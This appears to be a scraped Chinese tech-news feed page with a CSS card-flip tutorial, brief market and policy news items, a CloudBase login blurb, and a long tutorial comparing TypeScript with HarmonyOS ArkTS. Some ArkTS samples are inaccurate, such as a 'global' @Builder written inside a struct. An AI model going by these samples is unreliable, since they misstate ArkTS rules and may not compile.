  2. backface-visibility: hidden:隐藏元素的背面,这是实现"卡片翻转"效果而非"内容镜像"的关键
  3. .back { transform: rotateY(180deg); } :背面初始旋转180度,使其朝后隐藏
  4. transition: transform 0.6s:为transform属性添加0.6秒的过渡动画,使翻转过程平滑
.card {
width: 200px;
height: 200px;
position: relative;  /* 设置为相对定位,作为子元素的定位基准 */
transform-style: preserve-3d;  /* 保持3D变换效果,使子元素在3D空间内变换 */
transition: transform 0.6s;  /* 添加transform属性的过渡效果,持续0.6秒 */
}
.front, .back {
position: absolute;  /* 绝对定位,使正反面重叠 */
width: 100%;
height: 100%;
backface-visibility: hidden;  /* 隐藏元素的背面,防止翻转时看到镜像内容 */
}
/* 正面样式 */
.front {
background-color: lightgreen;  /* 正面背景色为浅绿色 */
}
/* 背面样式 */
.back {
background-color: lightblue;  /* 背面背景色为浅蓝色 */
transform: rotateY(180deg);  /* 初始状态旋转180度,使背面朝后隐藏 */
}
/* 鼠标悬停效果 */
.card:hover {
transform: rotateY(180deg);  /* 鼠标悬停时,卡片沿Y轴旋转180度 */
}

按钮点击:通过JavaScript事件监听实现

  1. 通过querySelector获取卡片和按钮元素

  2. 为按钮添加点击事件监听器

  3. 使用条件运算符切换卡片的翻转状态:

    • 如果卡片已有transform样式,则清除(返回正面)
    • 如果卡片没有transform样式,则添加rotateY(180deg)(翻转显示背面)
// 获取DOM元素
let card = document.querySelector('.card');  // 获取卡片元素
let flip = document.querySelector('.flip');  // 获取翻转按钮元素

// 为翻转按钮添加点击事件监听器
flip.addEventListener('click', function() {
// 条件判断:如果卡片当前有transform样式,则清除(恢复正面)
// 如果卡片当前没有transform样式,则添加翻转样式(显示背面)
card.style.transform ? card.style.transform = '' : card.style.transform = 'rotateY(180deg)';
});

水资源费改税成效显著,新扩围省份地下水和特种取用水量明显下降

2025年12月8日 11:54
记者从国家税务总局举行的新闻发布会上获悉,自2024年12月1日水资源税改革试点在全国范围全面实施以来,新扩围的21个省份地下水和特种取用水量明显下降,税收调节作用成效显著。最新税收数据显示,全面推行水资源费改税以来,新扩围的21个省份水资源税申报户数达到9.4万户,较2024年水资源费缴费户数增长26.9%;水资源税收入189.6亿元,较2024年同期增长18.5%。水资源税改革后,形成了“超耗多缴税、节水享优惠”的机制,税收调节效果进一步显现。(央视新闻)

广州3宗涉宅用地22.8亿元低价成交

2025年12月8日 11:52
12月8日,广州有3宗南沙区横沥岛涉宅用地出让,总建设用地面积9.77万㎡,总规划建筑面积21.87万㎡,总起始价22.838亿元。最终三宗地块均由南投地产底价竞得,总成交金额22.838亿元。(证券时报)

半日主力资金加仓电子、通信股,抛售公用事业股

2025年12月8日 11:46
主力资金早间净流入电子、通信、电力设备、非银金融、机械设备等板块,净流出公用事业、煤炭、食品饮料、石油石化、钢铁等板块。具体到个股来看,新易盛、天孚通信、胜宏科技获净流入29.94亿元、29.69亿元、28.67亿元。净流出方面,长盈精密、C摩尔-U、和而泰遭抛售6.29亿元、4.12亿元、3.96亿元。(第一财经)

【你可能不知道的开发技巧】一行代码完成小程序的CloudBase鉴权登录

2025年12月8日 11:42

登录鉴权基本概念

登录功能=登录页UI+登录逻辑+会话管理

登录的本质是让小程序知道用户是谁。

3.jpg

一行代码完成CloudBase的鉴权登录,初始化云开发环境即可调用云开发能力。

基于微信原生API的自动鉴权机制,调用云开发服务时系统自动识别当前用户openid并完成身份验证,省去繁琐的手动获取openid步骤。

4.jpg5.jpg

功能优势

  1. 用户行为追踪: 便于分析未注册用户行为数据
  2. 降低用户使用门槛: 提升转化率和用户体验

其他三种常见登录方式

  • 账号密码登录
  • 短信验证码登录
  • 邮箱验证码登录

相比于微信原生方式,CloudBase方便在哪?

  • 无需从零开始构建用户认证系统,CloudBase提供了完整的认证流程。
  • 无缝集成CloudBase资源,安全性有保障。
  • 无需自行维护复杂的登录态token。
  • CloudBase支持自定义登录,业务扩展后能平滑迁移。

优必选旗下公司等在北京成立天优机器人公司,注册资本1000万元

2025年12月8日 11:32
36氪获悉,爱企查App显示,近日,北京天优机器人有限公司成立,法定代表人为郝宝玉,注册资本1000万元人民币,经营范围包括智能机器人销售、服务消费机器人销售、信息技术咨询服务等,由优必选旗下北京行者天工机器人有限公司、北京人形机器人创新中心有限公司共同持股。

A股三大指数午间休盘集体上涨,天孚通信涨停

2025年12月8日 11:31
36氪获悉,A股三大指数午间休盘集体上涨,沪指涨0.62%,深成指涨1.55%,创业板指涨3.02%;通信设备、电子元器件、券商板块领涨,天孚通信、东田微、兴业证券涨停;石油化工、煤炭、能源设备板块跌幅居前,新���鸣跌超3%,新集能源、贝肯能源跌超2%。

对照typescript学习鸿蒙ArkTS

2025年12月8日 11:21

HarmonyOS选择ArkTS的原因

  1. TypeScript超集:ArkTS是TypeScript的超集,保留了TypeScript的核心特性,降低了开发者的学习成本,使得熟悉TypeScript的开发者能够快速上手。

  2. 性能优化:ArkTS针对鸿蒙系统进行了深度优化,提供了更好的运行时性能和更低的内存占耗,特别是在声明式UI框架ArkUI中表现出色。

  3. 类型安全增强:相比TypeScript,ArkTS进一步强化了类型系统,禁用了一些动态特性(如any类型的部分用法),提供更严格的类型检查,减少运行时错误。

  4. 生态整合:ArkTS与鸿蒙生态深度集成,提供了丰富的系统API和组件库,能够充分发挥鸿蒙系统的分布式能力和跨设备协同特性。

基础语法

程序入口

TypeScript:

TypeScript/JavaScript应用通常没有固定的程序入口,在Node.js环境中会从package.json指定的入口文件开始执行,在浏览器环境中则从HTML引入的脚本开始执行。

ArkTS:

ArkTS应用有明确的入口点,通常在entry/src/main/ets/entryability/EntryAbility.ets文件中

import UIAbility from '@ohos.app.ability.UIAbility';
import window from '@ohos.window';

export default class EntryAbility extends UIAbility {
  onCreate(want, launchParam) {
    console.info('Ability onCreate');
  }

  onWindowStageCreate(windowStage: window.WindowStage) {
    windowStage.loadContent('pages/Index', (err, data) => {
      // 加载页面
    });
  }
}

页面入口通常在pages/Index.ets中:

@Entry
@Component
struct Index {
  build() {
    // UI构建
  }
}

数据类型

基本类型

TypeScript与ArkTS共同支持的类型:

  • boolean: 布尔类型
  • number: 数字类型
  • string: 字符串类型
  • null: 空值
  • undefined: 未定义
  • bigint: 大整数(ES2020+)
  • symbol: 符号类型
// TypeScript & ArkTS
let isDone: boolean = false;
let count: number = 10;
let name: string = "HarmonyOS";
let big: bigint = 100n;

Array(数组)

TypeScript:

let list1: number[] = [1, 2, 3];
let list2: Array<number> = [1, 2, 3];

ArkTS:

// 推荐使用类型注解
let list1: number[] = [1, 2, 3];
let list2: Array<number> = [1, 2, 3];

// ArkTS中数组操作与TS基本一致
list1.push(4);
list1.forEach((item) => {
  console.log(item.toString());
});

Tuple(元组)

TypeScript:

let tuple: [string, number] = ['hello', 10];

ArkTS:

// ArkTS同样支持元组
let tuple: [string, number] = ['hello', 10];
let first: string = tuple[0];
let second: number = tuple[1];

Enum(枚举)

TypeScript:

enum Color {
  Red,
  Green,
  Blue
}

enum Status {
  Success = 'SUCCESS',
  Fail = 'FAIL'
}

ArkTS:

// ArkTS支持数字枚举和字符串枚举
enum Color {
  Red,
  Green,
  Blue
}

enum Status {
  Success = 'SUCCESS',
  Fail = 'FAIL'
}

let color: Color = Color.Red;

any 和 unknown

TypeScript:

let notSure: any = 4;
notSure = "maybe a string";
notSure = false;

let value: unknown = 4;
// unknown类型更安全,使用前需要类型检查
if (typeof value === 'string') {
  console.log(value.toUpperCase());
}

ArkTS:

// ArkTS限制了any的使用,推荐使用具体类型
// 在某些场景下可以使用,但会有编译警告
let notSure: any = 4; // 不推荐

// 推荐使用联合类型替代
let value: string | number = 4;
value = "string";

Object(对象)

TypeScript:

interface Person {
  name: string;
  age: number;
  email?: string; // 可选属性
}

let person: Person = {
  name: 'Zhang San',
  age: 25
};

ArkTS:

// ArkTS中接口定义方式相同
interface Person {
  name: string;
  age: number;
  email?: string;
}

let person: Person = {
  name: 'Zhang San',
  age: 25
};

// 也可以使用class
class PersonClass {
  name: string;
  age: number;
  
  constructor(name: string, age: number) {
    this.name = name;
    this.age = age;
  }
}

变量声明

let、const、var

TypeScript:

var oldStyle = 'avoid using var'; // 不推荐
let mutableValue = 'can change';
const immutableValue = 'cannot change';

ArkTS:

// ArkTS同样支持let和const,不推荐使用var
let mutableValue: string = 'can change';
const immutableValue: string = 'cannot change';

// ArkTS强制要求类型注解(在某些情况下)
let count: number = 0; // 推荐明确指定类型

类型推断

TypeScript:

let message = "Hello"; // 推断为string类型
let count = 42; // 推断为number类型

ArkTS:

// ArkTS支持类型推断,但更推荐显式声明
let message = "Hello"; // 可以推断
let count: number = 42; // 推荐显式声明

函数

函数声明

TypeScript:

// 函数声明
function add(a: number, b: number): number {
  return a + b;
}

// 函数表达式
const multiply = function(a: number, b: number): number {
  return a * b;
};

// 箭头函数
const subtract = (a: number, b: number): number => {
  return a - b;
};

// 简写箭头函数
const divide = (a: number, b: number): number => a / b;

ArkTS:

// ArkTS支持相同的函数声明方式
function add(a: number, b: number): number {
  return a + b;
}

const multiply = function(a: number, b: number): number {
  return a * b;
};

const subtract = (a: number, b: number): number => {
  return a - b;
};

const divide = (a: number, b: number): number => a / b;

可选参数和默认参数

TypeScript:

function buildName(firstName: string, lastName?: string): string {
  if (lastName) {
    return firstName + " " + lastName;
  }
  return firstName;
}

function buildFullName(firstName: string, lastName: string = "Smith"): string {
  return firstName + " " + lastName;
}

ArkTS:

// ArkTS中可选参数和默认参数用法相同
function buildName(firstName: string, lastName?: string): string {
  if (lastName) {
    return firstName + " " + lastName;
  }
  return firstName;
}

function buildFullName(firstName: string, lastName: string = "Smith"): string {
  return firstName + " " + lastName;
}

剩余参数

TypeScript:

function sum(...numbers: number[]): number {
  return numbers.reduce((acc, curr) => acc + curr, 0);
}

sum(1, 2, 3, 4); // 10

ArkTS:

// ArkTS支持剩余参数
function sum(...numbers: number[]): number {
  return numbers.reduce((acc, curr) => acc + curr, 0);
}

类的定义

TypeScript:

class Person {
  name: string;
  age: number;

  constructor(name: string, age: number) {
    this.name = name;
    this.age = age;
  }

  greet(): string {
    return `Hello, I'm ${this.name}`;
  }
}

const person = new Person("Zhang San", 25);

ArkTS:

// ArkTS类定义方式相同
class Person {
  name: string;
  age: number;

  constructor(name: string, age: number) {
    this.name = name;
    this.age = age;
  }

  greet(): string {
    return `Hello, I'm ${this.name}`;
  }
}

const person = new Person("Zhang San", 25);

访问修饰符

TypeScript:

class Animal {
  public name: string;      // 公共属性
  private age: number;      // 私有属性
  protected type: string;   // 受保护属性

  constructor(name: string, age: number, type: string) {
    this.name = name;
    this.age = age;
    this.type = type;
  }

  public getAge(): number {
    return this.age;
  }
}

ArkTS:

// ArkTS支持相同的访问修饰符
class Animal {
  public name: string;
  private age: number;
  protected type: string;

  constructor(name: string, age: number, type: string) {
    this.name = name;
    this.age = age;
    this.type = type;
  }

  public getAge(): number {
    return this.age;
  }
}

继承

TypeScript:

class Animal {
  name: string;
  
  constructor(name: string) {
    this.name = name;
  }
  
  move(distance: number = 0): void {
    console.log(`${this.name} moved ${distance}m.`);
  }
}

class Dog extends Animal {
  bark(): void {
    console.log('Woof! Woof!');
  }
}

const dog = new Dog('Buddy');
dog.bark();
dog.move(10);

ArkTS:

// ArkTS继承方式相同
class Animal {
  name: string;
  
  constructor(name: string) {
    this.name = name;
  }
  
  move(distance: number = 0): void {
    console.info(`${this.name} moved ${distance}m.`);
  }
}

class Dog extends Animal {
  bark(): void {
    console.info('Woof! Woof!');
  }
}

const dog = new Dog('Buddy');
dog.bark();
dog.move(10);

静态成员

TypeScript:

class MathUtil {
  static PI: number = 3.14159;
  
  static calculateCircumference(radius: number): number {
    return 2 * MathUtil.PI * radius;
  }
}

console.log(MathUtil.PI);
console.log(MathUtil.calculateCircumference(10));

ArkTS:

// ArkTS静态成员用法相同
class MathUtil {
  static PI: number = 3.14159;
  
  static calculateCircumference(radius: number): number {
    return 2 * MathUtil.PI * radius;
  }
}

console.info(MathUtil.PI.toString());
console.info(MathUtil.calculateCircumference(10).toString());

接口

接口定义

TypeScript:

interface User {
  id: number;
  name: string;
  email?: string;
  readonly createdAt: Date;
}

interface Searchable {
  search(keyword: string): User[];
}

class UserService implements Searchable {
  search(keyword: string): User[] {
    // 实现搜索逻辑
    return [];
  }
}

ArkTS:

// ArkTS接口定义方式相同
interface User {
  id: number;
  name: string;
  email?: string;
  readonly createdAt: Date;
}

interface Searchable {
  search(keyword: string): User[];
}

class UserService implements Searchable {
  search(keyword: string): User[] {
    return [];
  }
}

接口继承

TypeScript:

interface Shape {
  color: string;
}

interface Square extends Shape {
  sideLength: number;
}

let square: Square = {
  color: "blue",
  sideLength: 10
};

ArkTS:

// ArkTS接口继承方式相同
interface Shape {
  color: string;
}

interface Square extends Shape {
  sideLength: number;
}

let square: Square = {
  color: "blue",
  sideLength: 10
};

泛型

泛型函数

TypeScript:

function identity<T>(arg: T): T {
  return arg;
}

let output1 = identity<string>("hello");
let output2 = identity<number>(42);

ArkTS:

// ArkTS支持泛型
function identity<T>(arg: T): T {
  return arg;
}

let output1 = identity<string>("hello");
let output2 = identity<number>(42);

泛型类

TypeScript:

class GenericNumber<T> {
  zeroValue: T;
  add: (x: T, y: T) => T;
}

let myGenericNumber = new GenericNumber<number>();
myGenericNumber.zeroValue = 0;
myGenericNumber.add = function(x, y) { return x + y; };

ArkTS:

// ArkTS泛型类用法相同
class GenericNumber<T> {
  zeroValue: T;
  add: (x: T, y: T) => T;
}

let myGenericNumber = new GenericNumber<number>();
myGenericNumber.zeroValue = 0;
myGenericNumber.add = function(x, y) { return x + y; };

泛型约束

TypeScript:

interface Lengthwise {
  length: number;
}

function logLength<T extends Lengthwise>(arg: T): T {
  console.log(arg.length);
  return arg;
}

logLength({ length: 10, value: 3 });

ArkTS:

// ArkTS泛型约束用法相同
interface Lengthwise {
  length: number;
}

function logLength<T extends Lengthwise>(arg: T): T {
  console.info(arg.length.toString());
  return arg;
}

异步编程

Promise

TypeScript:

function fetchData(): Promise<string> {
  return new Promise((resolve, reject) => {
    setTimeout(() => {
      resolve("Data loaded");
    }, 1000);
  });
}

fetchData()
  .then(data => console.log(data))
  .catch(error => console.error(error));

ArkTS:

// ArkTS支持Promise
function fetchData(): Promise<string> {
  return new Promise((resolve, reject) => {
    setTimeout(() => {
      resolve("Data loaded");
    }, 1000);
  });
}

fetchData()
  .then(data => console.info(data))
  .catch(error => console.error(error));

async/await

TypeScript:

async function loadUserData(userId: number): Promise<User> {
  try {
    const response = await fetch(`/api/users/${userId}`);
    const user = await response.json();
    return user;
  } catch (error) {
    console.error('Failed to load user:', error);
    throw error;
  }
}

// 使用
async function main() {
  const user = await loadUserData(1);
  console.log(user);
}

ArkTS:

// ArkTS支持async/await
import http from '@ohos.net.http';

async function loadUserData(userId: number): Promise<object> {
  try {
    let httpRequest = http.createHttp();
    const response = await httpRequest.request(`https://api.example.com/users/${userId}`);
    return JSON.parse(response.result.toString());
  } catch (error) {
    console.error('Failed to load user:', error);
    throw error;
  }
}

// 使用
async function main() {
  const user = await loadUserData(1);
  console.info(JSON.stringify(user));
}

模块系统

导出

TypeScript:

// utils.ts
export function add(a: number, b: number): number {
  return a + b;
}

export class Calculator {
  multiply(a: number, b: number): number {
    return a * b;
  }
}

export default class MathUtil {
  static PI = 3.14159;
}

ArkTS:

// utils.ets
export function add(a: number, b: number): number {
  return a + b;
}

export class Calculator {
  multiply(a: number, b: number): number {
    return a * b;
  }
}

// ArkTS也支持默认导出
export default class MathUtil {
  static PI = 3.14159;
}

导入

TypeScript:

// 命名导入
import { add, Calculator } from './utils';

// 默认导入
import MathUtil from './utils';

// 导入所有
import * as Utils from './utils';

// 重命名导入
import { add as sum } from './utils';

ArkTS:

// ArkTS导入方式相同
import { add, Calculator } from './utils';
import MathUtil from './utils';
import * as Utils from './utils';
import { add as sum } from './utils';

ArkTS独有特性(TypeScript没有的)

1. 声明式UI装饰器系统

这是ArkTS最重要的特性之一,TypeScript完全没有这套体系。

@Component - 自定义组件装饰器

ArkTS独有:

// TypeScript中没有这种组件装饰器
@Component
struct CustomButton {
  private text: string = 'Click';
  
  build() {
    Button(this.text)
      .width(100)
      .height(40)
  }
}

@Entry - 页面入口装饰器

ArkTS独有:

// 标记页面入口组件,TypeScript没有这个概念
@Entry
@Component
struct HomePage {
  build() {
    Column() {
      Text('Home Page')
    }
  }
}

@Preview - 预览装饰器

ArkTS独有:

// 用于在DevEco Studio中预览组件,TypeScript没有
@Preview
@Component
struct PreviewComponent {
  build() {
    Text('Preview Mode')
      .fontSize(20)
  }
}

2. 状态管理装饰器

这是ArkTS最核心的特性,用于响应式UI开发,TypeScript完全没有。

@State - 组件内部状态

ArkTS独有:

@Component
struct Counter {
  // @State装饰器使变量具有响应式能力
  // 当count变化时,UI会自动更新
  @State count: number = 0;
  
  build() {
    Column() {
      Text(`Count: ${this.count}`)
      Button('Increase')
        .onClick(() => {
          this.count++; // 修改会触发UI刷新
        })
    }
  }
}

TypeScript对比:

// TypeScript需要手动管理状态更新
class Counter {
  private count: number = 0;
  
  increase() {
    this.count++;
    // 需要手动调用渲染函数
    this.render();
  }
  
  render() {
    // 手动更新DOM
  }
}

@Prop - 单向数据传递

ArkTS独有:

@Component
struct ChildComponent {
  // @Prop从父组件接收数据,单向传递
  // 子组件不能修改@Prop装饰的变量
  @Prop message: string;
  
  build() {
    Text(this.message)
  }
}

@Entry
@Component
struct ParentComponent {
  @State parentMessage: string = 'Hello';
  
  build() {
    Column() {
      ChildComponent({ message: this.parentMessage })
      Button('Change')
        .onClick(() => {
          this.parentMessage = 'Hi'; // 子组件会自动更新
        })
    }
  }
}

@Link - 双向数据绑定

ArkTS独有:

@Component
struct ChildComponent {
  // @Link实现父子组件双向数据同步
  // 子组件可以修改,会同步到父组件
  @Link count: number;
  
  build() {
    Column() {
      Text(`Child: ${this.count}`)
      Button('Child +1')
        .onClick(() => {
          this.count++; // 修改会同步到父组件
        })
    }
  }
}

@Entry
@Component
struct ParentComponent {
  @State parentCount: number = 0;
  
  build() {
    Column() {
      Text(`Parent: ${this.parentCount}`)
      // 使用$符号传递引用
      ChildComponent({ count: $parentCount })
    }
  }
}

TypeScript对比:

// TypeScript需要通过回调函数实现双向绑定
class ChildComponent {
  constructor(
    private count: number,
    private onChange: (value: number) => void
  ) {}
  
  increment() {
    this.count++;
    this.onChange(this.count); // 手动通知父组件
  }
}

@Provide 和 @Consume - 跨层级传递

ArkTS独有:

// 祖先组件提供数据
@Entry
@Component
struct GrandParent {
  @Provide('theme') theme: string = 'dark';
  
  build() {
    Column() {
      Parent()
    }
  }
}

@Component
struct Parent {
  build() {
    Column() {
      Child()
    }
  }
}

// 后代组件消费数据,无需逐层传递
@Component
struct Child {
  @Consume('theme') theme: string;
  
  build() {
    Text(`Theme: ${this.theme}`)
      .fontColor(this.theme === 'dark' ? Color.White : Color.Black)
  }
}

TypeScript对比:

// TypeScript需要使用Context或逐层传递props
// React示例
const ThemeContext = React.createContext('light');

function GrandParent() {
  return (
    <ThemeContext.Provider value="dark">
      <Parent />
    </ThemeContext.Provider>
  );
}

function Child() {
  const theme = useContext(ThemeContext);
  return <div>{theme}</div>;
}

@ObjectLink 和 @Observed - 嵌套对象响应式

ArkTS独有:

// @Observed装饰类,使其实例具有响应式能力
@Observed
class Person {
  name: string;
  age: number;
  
  constructor(name: string, age: number) {
    this.name = name;
    this.age = age;
  }
}

@Component
struct PersonCard {
  // @ObjectLink用于嵌套对象的双向同步
  @ObjectLink person: Person;
  
  build() {
    Column() {
      Text(`Name: ${this.person.name}`)
      Text(`Age: ${this.person.age}`)
      Button('Birthday')
        .onClick(() => {
          this.person.age++; // 修改会触发UI更新
        })
    }
  }
}

@Entry
@Component
struct PersonList {
  @State people: Person[] = [
    new Person('Zhang San', 25),
    new Person('Li Si', 30)
  ];
  
  build() {
    Column() {
      ForEach(this.people, (person: Person) => {
        PersonCard({ person: person })
      })
    }
  }
}

@Watch - 状态监听

ArkTS独有:

@Component
struct WatchExample {
  @State @Watch('onCountChange') count: number = 0;
  @State message: string = '';
  
  // 监听count变化
  onCountChange() {
    this.message = `Count changed to ${this.count}`;
    console.info(`Count is now: ${this.count}`);
  }
  
  build() {
    Column() {
      Text(this.message)
      Button('Increase')
        .onClick(() => {
          this.count++; // 会触发onCountChange
        })
    }
  }
}

3. 声明式UI构建语法

struct 结构体(用于UI组件)

ArkTS独有:

// ArkTS使用struct定义UI组件
// TypeScript没有这种UI组件定义方式
@Component
struct MyComponent {
  build() {
    Column() {
      Text('Hello')
    }
  }
}

build() 方法

ArkTS独有:

// build方法是ArkTS组件的核心
// 用于声明式地描述UI结构
@Component
struct UIExample {
  build() {
    // 链式调用设置属性
    Column() {
      Text('Title')
        .fontSize(20)
        .fontWeight(FontWeight.Bold)
      
      Button('Click')
        .width(100)
        .onClick(() => {
          console.info('Clicked');
        })
    }
    .width('100%')
    .height('100%')
    .justifyContent(FlexAlign.Center)
  }
}

4. 内置UI组件

ArkTS提供了大量内置UI组件,TypeScript没有。

容器组件

ArkTS独有:

@Entry
@Component
struct ContainerExample {
  build() {
    // Column - 垂直布局
    Column({ space: 10 }) {
      Text('Item 1')
      Text('Item 2')
    }
    
    // Row - 水平布局
    Row({ space: 20 }) {
      Text('Left')
      Text('Right')
    }
    
    // Stack - 层叠布局
    Stack() {
      Image($r('app.media.bg'))
      Text('Overlay Text')
    }
    
    // Flex - 弹性布局
    Flex({ direction: FlexDirection.Row, wrap: FlexWrap.Wrap }) {
      Text('Item 1').width('30%')
      Text('Item 2').width('30%')
      Text('Item 3').width('30%')
    }
    
    // Grid - 网格布局
    Grid() {
      GridItem() { Text('1') }
      GridItem() { Text('2') }
      GridItem() { Text('3') }
    }
    .columnsTemplate('1fr 1fr 1fr')
    .rowsTemplate('1fr 1fr')
  }
}

基础组件

ArkTS独有:

@Entry
@Component
struct BasicComponents {
  @State inputValue: string = '';
  @State isChecked: boolean = false;
  @State sliderValue: number = 50;
  
  build() {
    Column({ space: 15 }) {
      // Text组件
      Text('Hello HarmonyOS')
        .fontSize(24)
        .fontColor(Color.Blue)
        .fontWeight(FontWeight.Bold)
      
      // Button组件
      Button('Click Me')
        .type(ButtonType.Capsule)
        .width(200)
        .onClick(() => {
          console.info('Button clicked');
        })
      
      // Image组件
      Image($r('app.media.icon'))
        .width(100)
        .height(100)
        .borderRadius(50)
      
      // TextInput组件
      TextInput({ placeholder: 'Enter text' })
        .width('90%')
        .onChange((value: string) => {
          this.inputValue = value;
        })
      
      // Checkbox组件
      Checkbox()
        .select(this.isChecked)
        .onChange((value: boolean) => {
          this.isChecked = value;
        })
      
      // Slider组件
      Slider({
        value: this.sliderValue,
        min: 0,
        max: 100,
        step: 1
      })
        .width('90%')
        .onChange((value: number) => {
          this.sliderValue = value;
        })
      
      // Progress组件
      Progress({ value: this.sliderValue, total: 100 })
        .width('90%')
    }
    .width('100%')
    .height('100%')
    .padding(20)
  }
}

5. 条件渲染和循环渲染

if/else 条件渲染

ArkTS独有:

@Component
struct ConditionalRender {
  @State isLoggedIn: boolean = false;
  @State userType: string = 'guest';
  
  build() {
    Column() {
      // if条件渲染
      if (this.isLoggedIn) {
        Text('Welcome back!')
          .fontSize(20)
      } else {
        Text('Please login')
          .fontSize(16)
      }
      
      // if-else if-else
      if (this.userType === 'admin') {
        Button('Admin Panel')
      } else if (this.userType === 'user') {
        Button('User Dashboard')
      } else {
        Button('Guest Mode')
      }
      
      // 三元表达式
      Text(this.isLoggedIn ? 'Online' : 'Offline')
        .fontColor(this.isLoggedIn ? Color.Green : Color.Gray)
    }
  }
}

ForEach 循环渲染

ArkTS独有:

@Entry
@Component
struct ListExample {
  @State items: string[] = ['Apple', 'Banana', 'Orange', 'Grape'];
  
  build() {
    Column() {
      // ForEach循环渲染
      ForEach(
        this.items,                    // 数据源
        (item: string, index: number) => {  // 渲染函数
          Row() {
            Text(`${index + 1}. ${item}`)
              .fontSize(18)
          }
          .width('100%')
          .height(50)
          .padding(10)
        },
        (item: string) => item         // 键生成函数(可选)
      )
    }
  }
}

LazyForEach 懒加载列表

ArkTS独有:

// 实现IDataSource接口
class MyDataSource implements IDataSource {
  private list: string[] = [];
  
  constructor(list: string[]) {
    this.list = list;
  }
  
  totalCount(): number {
    return this.list.length;
  }
  
  getData(index: number): string {
    return this.list[index];
  }
  
  registerDataChangeListener(listener: DataChangeListener): void {
    // 注册监听器
  }
  
  unregisterDataChangeListener(listener: DataChangeListener): void {
    // 注销监听器
  }
}

@Entry
@Component
struct LazyListExample {
  private data: MyDataSource = new MyDataSource(
    Array.from({ length: 1000 }, (_, i) => `Item ${i}`)
  );
  
  build() {
    List() {
      // LazyForEach实现懒加载,只渲染可见区域
      LazyForEach(
        this.data,
        (item: string) => {
          ListItem() {
            Text(item)
              .width('100%')
              .height(50)
          }
        },
        (item: string) => item
      )
    }
    .width('100%')
    .height('100%')
  }
}

6. @Builder 自定义构建函数

ArkTS独有:

@Component
struct BuilderExample {
  @State count: number = 0;
  
  // @Builder装饰的函数可以复用UI结构
  @Builder CustomButton(text: string, action: () => void) {
    Button(text)
      .width(150)
      .height(40)
      .onClick(action)
  }
  
  // 全局@Builder(在struct外部)
  @Builder
  function GlobalHeader(title: string) {
    Row() {
      Text(title)
        .fontSize(24)
        .fontWeight(FontWeight.Bold)
    }
    .width('100%')
    .height(60)
    .backgroundColor('#f0f0f0')
  }
  
  build() {
    Column({ space: 20 }) {
      GlobalHeader('My Page')
      
      Text(`Count: ${this.count}`)
      
      // 复用自定义构建函数
      this.CustomButton('Increase', () => {
        this.count++;
      })
      
      this.CustomButton('Decrease', () => {
        this.count--;
      })
      
      this.CustomButton('Reset', () => {
        this.count = 0;
      })
    }
  }
}

7. @Styles 样式复用

ArkTS独有:

// 全局@Styles
@Styles function globalFancyText() {
  .fontSize(20)
  .fontColor(Color.Blue)
  .fontWeight(FontWeight.Bold)
}

@Component
struct StylesExample {
  // 组件内@Styles
  @Styles fancyButton() {
    .width(200)
    .height(50)
    .backgroundColor(Color.Orange)
    .borderRadius(25)
  }
  
  build() {
    Column({ space: 20 }) {
      // 使用全局样式
      Text('Global Style')
        .globalFancyText()
      
      // 使用组件样式
      Button('Fancy Button')
        .fancyButton()
      
      Button('Another Fancy Button')
        .fancyButton()
    }
  }
}

8. @Extend 扩展组件样式

ArkTS独有:

// @Extend只能用于扩展内置组件
@Extend(Text) function fancyText(fontSize: number, color: Color) {
  .fontSize(fontSize)
  .fontColor(color)
  .fontWeight(FontWeight.Bold)
  .textAlign(TextAlign.Center)
  .padding(10)
  .backgroundColor('#f5f5f5')
  .borderRadius(8)
}

@Extend(Button) function primaryButton() {
  .width(200)
  .height(50)
  .backgroundColor(Color.Blue)
  .fontColor(Color.White)
  .borderRadius(25)
}

@Entry
@Component
struct ExtendExample {
  build() {
    Column({ space: 20 }) {
      // 使用扩展样式
      Text('Extended Text')
        .fancyText(18, Color.Red)
      
      Text('Another Text')
        .fancyText(16, Color.Green)
      
      Button('Primary Action')
        .primaryButton()
    }
  }
}

9. @CustomDialog 自定义弹窗

ArkTS独有:

@CustomDialog
struct CustomDialogExample {
  controller: CustomDialogController;
  title: string = 'Dialog Title';
  message: string = 'Dialog message';
  confirm: () => void;
  
  build() {
    Column({ space: 20 }) {
      Text(this.title)
        .fontSize(20)
        .fontWeight(FontWeight.Bold)
      
      Text(this.message)
        .fontSize(16)
      
      Row({ space: 20 }) {
        Button('Cancel')
          .onClick(() => {
            this.controller.close();
          })
        
        Button('Confirm')
          .onClick(() => {
            this.confirm();
            this.controller.close();
          })
      }
    }
    .padding(20)
  }
}

@Entry
@Component
struct DialogPage {
  dialogController: CustomDialogController = new CustomDialogController({
    builder: CustomDialogExample({
      title: 'Delete Confirmation',
      message: 'Are you sure you want to delete this item?',
      confirm: () => {
        console.info('Item deleted');
      }
    }),
    autoCancel: true
  });
  
  build() {
    Column() {
      Button('Show Dialog')
        .onClick(() => {
          this.dialogController.open();
        })
    }
  }
}

10. @AnimatableExtend 可动画属性扩展

ArkTS独有:

@AnimatableExtend(Text) function animatableFontSize(size: number) {
  .fontSize(size)
}

@Entry
@Component
struct AnimationExample {
  @State fontSize: number = 20;
  
  build() {
    Column({ space: 20 }) {
      Text('Animated Text')
        .animatableFontSize(this.fontSize)
        .animation({
          duration: 500,
          curve: Curve.EaseInOut
        })
      
      Button('Increase Font')
        .onClick(() => {
          this.fontSize += 5;
        })
      
      Button('Decrease Font')
        .onClick(() => {
          this.fontSize -= 5;
        })
    }
  }
}

11. @Concurrent 并发装饰器

ArkTS独有:

// @Concurrent用于标记可以并发执行的函数
@Concurrent
function heavyComputation(data: number[]): number {
  // 耗时计算
  let sum = 0;
  for (let i = 0; i < data.length; i++) {
    sum += data[i] * data[i];
  }
  return sum;
}

@Entry
@Component
struct ConcurrentExample {
  @State result: number = 0;
  @State loading: boolean = false;
  
  async performHeavyTask() {
    this.loading = true;
    const data = Array.from({ length: 1000000 }, (_, i) => i);
    
    try {
      // 在子线程中执行
      this.result = await taskpool.execute(heavyComputation, data);
    } catch (error) {
      console.error('Task failed:', error);
    } finally {
      this.loading = false;
    }
  }
  
  build() {
    Column({ space: 20 }) {
      if (this.loading) {
        LoadingProgress()
      } else {
        Text(`Result: ${this.result}`)
      }
      
      Button('Start Heavy Task')
        .onClick(() => {
          this.performHeavyTask();
        })
    }
  }
}

12. @Reusable 组件复用

ArkTS独有:

// @Reusable标记可复用组件,提升性能
@Reusable
@Component
struct ReusableListItem {
  @State item: string = '';
  
  // 组件即将被复用时调用
  aboutToReuse(params: Record<string, Object>) {
    this.item = params.item as string;
  }
  
  build() {
    Row() {
      Text(this.item)
        .fontSize(16)
    }
    .width('100%')
    .height(50)
    .padding(10)
  }
}

